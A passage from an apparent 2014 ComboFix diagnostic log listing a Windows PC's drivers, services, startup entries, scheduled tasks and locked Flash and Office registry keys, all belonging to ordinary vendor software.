360\NortonData\21.2.0.38\Definitions\IPSDefs\20140620.001\IDSvia64.sys [x] S1 nvkflt;nvkflt;c:\windows\system32\DRIVERS\nvkflt.sys;c:\windows\SYSNATIVE\DRIVERS\nvkflt.sys [x] S1 RsProxy;RsProxy Driver;c:\windows\system32\drivers\RsProxy.sys;c:\windows\SYSNATIVE\drivers\RsProxy.sys [x] S1 SbFw;SbFw;c:\windows\system32\drivers\SbFw.sys;c:\windows\SYSNATIVE\drivers\SbFw.sys [x] S1 SymIRON;Symantec Iron Driver;c:\windows\system32\drivers\N360x64\1503000.00C\Ironx64.SYS;c:\windows\SYSNATIVE\drivers\N360x64\1503000.00C\Ironx64.SYS [x] S1 SymNetS;Symantec Network Security WFP Driver;c:\windows\System32\Drivers\N360x64\1503000.00C\SYMNETS.SYS;c:\windows\SYSNATIVE\Drivers\N360x64\1503000.00C\SYMNETS.SYS [x] S2 AlienFusionService;Alienware Fusion Service;c:\program files\Alienware\Command Center\AlienFusionService.exe;c:\program files\Alienware\Command Center\AlienFusionService.exe [x] S2 dlea_device;dlea_device;c:\windows\system32\dleacoms.exe;c:\windows\SYSNATIVE\dleacoms.exe [x] S2 FoxitCloudUpdateService;Foxit Cloud Safe Update Service;c:\program files (x86)\Foxit Software\Foxit Reader\Foxit Cloud\FCUpdateService.exe;c:\program files (x86)\Foxit Software\Foxit Reader\Foxit Cloud\FCUpdateService.exe [x] S2 IconMan_R;IconMan_R;c:\program files (x86)\Realtek\Realtek PCIE Card Reader\RIconMan.exe;c:\program files (x86)\Realtek\Realtek PCIE Card Reader\RIconMan.exe [x] S2 N360;Norton 360;c:\program files (x86)\Norton 360\Engine\21.3.0.12\N360.exe;c:\program files (x86)\Norton 360\Engine\21.3.0.12\N360.exe [x] S2 NU16StartManagerSvc;Norton Utilities 16 Start Manager Service;c:\program files (x86)\Symantec\Norton Utilities 16\sMonitor\StartManSvc.exe;c:\program files (x86)\Symantec\Norton Utilities 16\sMonitor\StartManSvc.exe [x] S2 NvNetworkService;NVIDIA Network Service;c:\program files (x86)\NVIDIA Corporation\NetService\NvNetworkService.exe;c:\program files (x86)\NVIDIA Corporation\NetService\NvNetworkService.exe [x] S2 NvStreamSvc;NVIDIA Streamer Service;c:\program files\NVIDIA Corporation\NvStreamSrv\nvstreamsvc.exe;c:\program files\NVIDIA Corporation\NvStreamSrv\nvstreamsvc.exe [x] S2 Qualcomm Atheros Killer Service;Qualcomm Atheros Killer Service;c:\program files\Qualcomm Atheros\Killer Network Manager\BFNService.exe;c:\program files\Qualcomm Atheros\Killer Network Manager\BFNService.exe [x] S2 sbapifs;sbapifs;c:\windows\system32\DRIVERS\sbapifs.sys;c:\windows\SYSNATIVE\DRIVERS\sbapifs.sys [x] S2 Stereo Service;NVIDIA Stereoscopic 3D Driver Service;c:\program files (x86)\NVIDIA Corporation\3D Vision\nvSCPAPISvr.exe;c:\program files (x86)\NVIDIA Corporation\3D Vision\nvSCPAPISvr.exe [x] S2 uCamMonitor;CamMonitor;c:\program files (x86)\ArcSoft\HP Webcam Software Suite\Magic-i Visual Effects 2\uCamMonitor.exe;c:\program files (x86)\ArcSoft\HP Webcam Software Suite\Magic-i Visual Effects 2\uCamMonitor.exe [x] S3 Ak27x64;Killer Wireless-N 1102 device driver;c:\windows\system32\DRIVERS\Ak27x64.sys;c:\windows\SYSNATIVE\DRIVERS\Ak27x64.sys [x] S3 ArcSoftKsUFilter;ArcSoft Magic-I Visual Effect;c:\windows\system32\DRIVERS\ArcSoftKsUFilter.sys;c:\windows\SYSNATIVE\DRIVERS\ArcSoftKsUFilter.sys [x] S3 bcbtums;Bluetooth RAM Firmware Download USB Filter;c:\windows\system32\drivers\bcbtums.sys;c:\windows\SYSNATIVE\drivers\bcbtums.sys [x] S3 btwampfl;btwampfl Bluetooth filter driver;c:\windows\system32\drivers\btwampfl.sys;c:\windows\SYSNATIVE\drivers\btwampfl.sys [x] S3 btwl2cap;Bluetooth L2CAP Service;c:\windows\system32\DRIVERS\btwl2cap.sys;c:\windows\SYSNATIVE\DRIVERS\btwl2cap.sys [x] S3 dcdbas;System Management Driver;c:\windows\system32\DRIVERS\dcdbas64.sys;c:\windows\SYSNATIVE\DRIVERS\dcdbas64.sys [x] S3 EraserUtilRebootDrv;EraserUtilRebootDrv;c:\program files (x86)\Common Files\Symantec Shared\EENGINE\EraserUtilRebootDrv.sys;c:\program files (x86)\Common Files\Symantec Shared\EENGINE\EraserUtilRebootDrv.sys [x] S3 IntcDAud;Intel(R) Display Audio;c:\windows\system32\DRIVERS\IntcDAud.sys;c:\windows\SYSNATIVE\DRIVERS\IntcDAud.sys [x] S3 iusb3hub;Intel(R) USB 3.0 Hub Driver;c:\windows\system32\DRIVERS\iusb3hub.sys;c:\windows\SYSNATIVE\DRIVERS\iusb3hub.sys [x] S3 iusb3xhc;Intel(R) USB 3.0 eXtensible Host Controller Driver;c:\windows\system32\DRIVERS\iusb3xhc.sys;c:\windows\SYSNATIVE\DRIVERS\iusb3xhc.sys [x] S3 L1C;NDIS Miniport Driver for Qualcomm Atheros AR81xx PCI-E Ethernet Controller;c:\windows\system32\DRIVERS\L1C62x64.sys;c:\windows\SYSNATIVE\DRIVERS\L1C62x64.sys [x] S3 NvStreamKms;NvStreamKms;c:\program files\NVIDIA Corporation\NvStreamSrv\NvStreamKms.sys;c:\program files\NVIDIA Corporation\NvStreamSrv\NvStreamKms.sys [x] S3 nvvad_WaveExtensible;NVIDIA Virtual Audio Device (Wave Extensible) (WDM);c:\windows\system32\drivers\nvvad64v.sys;c:\windows\SYSNATIVE\drivers\nvvad64v.sys [x] S3 RSPCIESTOR;Realtek PCIE CardReader Driver;c:\windows\system32\DRIVERS\RtsPStor.sys;c:\windows\SYSNATIVE\DRIVERS\RtsPStor.sys [x] S3 SBFWIMCLMP;GFI Software Firewall NDIS IM Filter Miniport;c:\windows\system32\DRIVERS\SBFWIM.sys;c:\windows\SYSNATIVE\DRIVERS\SBFWIM.sys [x] S3 ST_ACCEL;STMicroelectronics Accelerometer Service;c:\windows\system32\DRIVERS\ST_ACCEL.sys;c:\windows\SYSNATIVE\DRIVERS\ST_ACCEL.sys [x] . . [HKEY_LOCAL_MACHINE\software\wow6432node\microsoft\active setup\installed components\{8A69D345-D564-463c-AFF1-A69D9E530F96}] 2014-06-12 20:39 1091912 ----a-w- c:\program files (x86)\Google\Chrome\Application\35.0.1916.153\Installer\chrmstp.exe . Contents of the 'Scheduled Tasks' folder . 2014-06-22 c:\windows\Tasks\Adobe Flash Player Updater.job - c:\windows\SysWOW64\Macromed\Flash\FlashPlayerUpdateService.exe [2014-05-08 18:22] . 2014-06-22 c:\windows\Tasks\GoogleUpdateTaskMachineCore.job - c:\program files (x86)\Google\Update\GoogleUpdate.exe [2014-05-08 09:21] . 2014-06-22 c:\windows\Tasks\GoogleUpdateTaskMachineUA.job - c:\program files (x86)\Google\Update\GoogleUpdate.exe [2014-05-08 09:21] . 2014-06-22 c:\windows\Tasks\NUAutoUpdate.job - c:\program files (x86)\Symantec\Norton Utilities 16\SULauncher.exe [2014-05-08 04:13] . 2014-06-22 c:\windows\Tasks\SpeedDiskSchedule.job - c:\program files (x86)\Symantec\Norton Utilities 16\Tools\SpeedDisk\ScheduledDefrag.exe [2014-05-08 04:13] . . --------- X64 Entries ----------- . . [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] "Logitech Download Assistant"="c:\windows\System32\LogiLDA.dll" [2012-09-20 1832760] "NvBackend"="c:\program files (x86)\NVIDIA Corporation\Update Core\NvBackend.exe" [2014-05-29 2352072] "ShadowPlay"="c:\windows\system32\nvspcap64.dll" [2014-05-29 1279480] "Command Center Controllers"="c:\program files\Alienware\Command Center\AWCCStartupOrchestrator.exe" [2012-06-15 12656] "IgfxTray"="c:\windows\system32\igfxtray.exe" [2012-02-17 170264] "HotKeysCmds"="c:\windows\system32\hkcmd.exe" [2012-02-17 398616] "Persistence"="c:\windows\system32\igfxpers.exe" [2012-02-17 440600] "dleamon.exe"="c:\program files (x86)\Dell V310-V510 Series\dleamon.exe" [2011-01-23 770728] "EzPrint"="c:\program files (x86)\Dell V310-V510 Series\ezprint.exe" [2011-01-23 139944] . [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows] "AppInit_DLLs"=c:\windows\System32\nvinitx.dll . ------- Supplementary Scan ------- . uLocal Page = c:\windows\system32\blank.htm uStart Page = hxxp://www.google.co.uk/ mDefault_Search_URL = hxxp://www.google.com mDefault_Page_URL = hxxp://www.google.com mStart Page = hxxp://www.google.com mLocal Page = c:\windows\SysWOW64\blank.htm mSearch Page = hxxp://www.google.com uSearchAssistant = hxxp://www.google.com TCP: DhcpNameServer = 192.168.1.254 . - - - - ORPHANS REMOVED - - - - . Wow6432Node-HKLM-Run- - (no file) . . . [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\N360] "ImagePath"="\"c:\program files (x86)\Norton 360\Engine\21.3.0.12\N360.exe\" /s \"N360\" /m \"c:\program files (x86)\Norton 360\Engine\21.3.0.12\diMaster.dll\" /prefetch:1" "ImagePath"="\SystemRoot\System32\Drivers\N360x64\1503000.00C\SYMNETS.SYS" "TrustedImagePaths"="c:\program files (x86)\Norton 360\Engine\21.3.0.12;c:\program files (x86)\Norton 360\Engine64\21.3.0.12" . --------------------- LOCKED REGISTRY KEYS --------------------- . [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{73C9DFA0-750D-11E1-B0C4-0800200C9A66}] @Denied: (A 2) (Everyone) @="FlashBroker" "LocalizedString"="@c:\\Windows\\system32\\Macromed\\Flash\\FlashUtil64_13_0_0_214_ActiveX.exe,-101" . [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{73C9DFA0-750D-11E1-B0C4-0800200C9A66}\Elevation] "Enabled"=dword:00000001 . [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{73C9DFA0-750D-11E1-B0C4-0800200C9A66}\LocalServer32] @="c:\\Windows\\system32\\Macromed\\Flash\\FlashUtil64_13_0_0_214_ActiveX.exe" . [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{73C9DFA0-750D-11E1-B0C4-0800200C9A66}\TypeLib] @="{FAB3E735-69C7-453B-A446-B6823C6DF1C9}" . [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{6AE38AE0-750C-11E1-B0C4-0800200C9A66}] @Denied: (A 2) (Everyone) @="IFlashBroker5" . [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{6AE38AE0-750C-11E1-B0C4-0800200C9A66}\ProxyStubClsid32] @="{00020424-0000-0000-C000-000000000046}" . [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{6AE38AE0-750C-11E1-B0C4-0800200C9A66}\TypeLib] @="{FAB3E735-69C7-453B-A446-B6823C6DF1C9}" "Version"="1.0" . [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{73C9DFA0-750D-11E1-B0C4-0800200C9A66}] @Denied: (A 2) (Everyone) @="FlashBroker" "LocalizedString"="@c:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashUtil32_13_0_0_214_ActiveX.exe,-101" . [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{73C9DFA0-750D-11E1-B0C4-0800200C9A66}\Elevation] "Enabled"=dword:00000001 . [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{73C9DFA0-750D-11E1-B0C4-0800200C9A66}\LocalServer32] @="c:\\Windows\\SysWOW64\\Macromed\\Flash\\FlashUtil32_13_0_0_214_ActiveX.exe" . [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{73C9DFA0-750D-11E1-B0C4-0800200C9A66}\TypeLib] @="{FAB3E735-69C7-453B-A446-B6823C6DF1C9}" . [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D27CDB6E-AE6D-11cf-96B8-444553540000}] @Denied: (A 2) (Everyone) @="Shockwave Flash Object" . [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D27CDB6E-AE6D-11cf-96B8-444553540000}\InprocServer32] @="c:\\Windows\\SysWOW64\\Macromed\\Flash\\Flash32_13_0_0_214.ocx" "ThreadingModel"="Apartment" . [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D27CDB6E-AE6D-11cf-96B8-444553540000}\MiscStatus] @="0" . [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D27CDB6E-AE6D-11cf-96B8-444553540000}\ProgID] @="ShockwaveFlash.ShockwaveFlash.13" . [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D27CDB6E-AE6D-11cf-96B8-444553540000}\ToolboxBitmap32] @="c:\\Windows\\SysWOW64\\Macromed\\Flash\\Flash32_13_0_0_214.ocx, 1" . [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D27CDB6E-AE6D-11cf-96B8-444553540000}\TypeLib] @="{D27CDB6B-AE6D-11cf-96B8-444553540000}" . [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D27CDB6E-AE6D-11cf-96B8-444553540000}\Version] @="1.0" . [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D27CDB6E-AE6D-11cf-96B8-444553540000}\VersionIndependentProgID] @="ShockwaveFlash.ShockwaveFlash" . [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D27CDB70-AE6D-11cf-96B8-444553540000}] @Denied: (A 2) (Everyone) @="Macromedia Flash Factory Object" . [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D27CDB70-AE6D-11cf-96B8-444553540000}\InprocServer32] @="c:\\Windows\\SysWOW64\\Macromed\\Flash\\Flash32_13_0_0_214.ocx" "ThreadingModel"="Apartment" . [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D27CDB70-AE6D-11cf-96B8-444553540000}\ProgID] @="FlashFactory.FlashFactory.1" . [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D27CDB70-AE6D-11cf-96B8-444553540000}\ToolboxBitmap32] @="c:\\Windows\\SysWOW64\\Macromed\\Flash\\Flash32_13_0_0_214.ocx, 1" . [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D27CDB70-AE6D-11cf-96B8-444553540000}\TypeLib] @="{D27CDB6B-AE6D-11cf-96B8-444553540000}" . [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D27CDB70-AE6D-11cf-96B8-444553540000}\Version] @="1.0" . [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D27CDB70-AE6D-11cf-96B8-444553540000}\VersionIndependentProgID] @="FlashFactory.FlashFactory" . [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{6AE38AE0-750C-11E1-B0C4-0800200C9A66}] @Denied: (A 2) (Everyone) @="IFlashBroker5" . [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{6AE38AE0-750C-11E1-B0C4-0800200C9A66}\ProxyStubClsid32] @="{00020424-0000-0000-C000-000000000046}" . [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{6AE38AE0-750C-11E1-B0C4-0800200C9A66}\TypeLib] @="{FAB3E735-69C7-453B-A446-B6823C6DF1C9}" "Version"="1.0" . [HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Office\Common\Smart Tag\Actions\{B7EFF951-E52F-45CC-9EF7-57124F2177CC}] @Denied: (A) (Everyone) "Solution"="{15727DE6-F92D-4E46-ACB4-0E2C58B31A18}" . [HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Schema Library\ActionsPane3] @Denied: (A) (Everyone) . [HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Schema Library\ActionsPane3\0] "Key"="ActionsPane3" "Location"="c:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTO\\ActionsPane3.xsd" . [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\PCW\Security] @Denied: (Full) (Everyone) . Completion time: 2014-06-22 16:44:03 ComboFix-quarantined-files.txt 2014-06-22 15:44 . Pre-Run: 316,890,230,784 bytes free Post-Run: 316,730,941,440 bytes free . - - End Of File - - A64550C084A0F355477AD7F4D96BD104 A36C5E4F47E84449FF07ED3517B43A31